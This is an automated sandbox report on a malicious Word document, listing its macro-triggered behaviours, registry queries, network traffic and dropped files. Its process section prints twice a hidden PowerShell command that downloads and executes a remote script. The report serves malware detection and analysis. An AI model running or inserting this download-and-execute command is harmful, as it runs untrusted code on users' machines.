Analysis Overview
SHA256
9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315
Threat Level: Known bad
The file 9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Command and Scripting Interpreter: PowerShell
Office macro that triggers on suspicious action
Drops file in Windows directory
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Checks processor information in registry
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-03 21:01
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-03 21:01
Reported
2024-11-03 21:02
Platform
win7-20240903-en
Max time kernel
17s
Max time network
19s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
Network
| Country | Destination | Domain | Proto |
| N/A | 127.0.0.1:8000 | tcp |
Files
memory/1076-0-0x000000002FEF1000-0x000000002FEF2000-memory.dmp
memory/1076-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1076-2-0x000000007156D000-0x0000000071578000-memory.dmp
memory/1076-14-0x0000000005B20000-0x0000000005C20000-memory.dmp
memory/1076-13-0x0000000005B20000-0x0000000005C20000-memory.dmp
memory/3044-18-0x0000000002D50000-0x0000000002DA2000-memory.dmp
memory/1076-23-0x000000007156D000-0x0000000071578000-memory.dmp
memory/1076-24-0x0000000005B20000-0x0000000005C20000-memory.dmp
memory/1076-25-0x0000000005B20000-0x0000000005C20000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-03 21:01
Reported
2024-11-03 21:02
Platform
win10v2004-20241007-en
Max time kernel
48s
Max time network
38s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2360 wrote to memory of 4544 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2360 wrote to memory of 4544 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc" /o ""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.173.189.20.in-addr.arpa | udp |
| N/A | 127.0.0.1:8000 | tcp | |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 101.11.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | metadata.templates.cdn.office.net | udp |
| GB | 2.18.27.153:443 | metadata.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | binaries.templates.cdn.office.net | udp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.20.12.74:443 | binaries.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 153.27.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.12.20.2.in-addr.arpa | udp |
Files
memory/2360-1-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp
memory/2360-0-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/2360-3-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/2360-4-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/2360-2-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/2360-7-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-6-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-5-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp
memory/2360-8-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-9-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp
memory/2360-12-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-13-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-11-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-14-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-16-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-18-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-19-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp
memory/2360-20-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-21-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-17-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-15-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-10-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-33-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-32-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxeddbby.sjs.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4544-48-0x0000021265460000-0x0000021265482000-memory.dmp
memory/2360-51-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-52-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp
memory/2360-53-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-54-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-55-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-56-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-59-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-58-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-57-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-60-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-62-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-61-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-63-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
memory/2360-67-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
| MD5 | 78c74641d9cf7c01e5603371f484d08e |
| SHA1 | 63a4848a44f09845d532fe233f10236111989c71 |
| SHA256 | 41bfebc324f7ddad77f83d32e17da066d315a72babc5e3ece3333780350a133a |
| SHA512 | 94c854db9ac5831cb5f621ff2f7b539202896cce7ae6081579e641db1cf6809c054044a60484bb169be85874e9f35f68236a6ebb0a243cfea1c87a24d0cce30f |
memory/2360-73-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\TCD3357.tmp\sist02.xsl
| MD5 | f883b260a8d67082ea895c14bf56dd56 |
| SHA1 | 7954565c1f243d46ad3b1e2f1baf3281451fc14b |
| SHA256 | ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353 |
| SHA512 | d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e |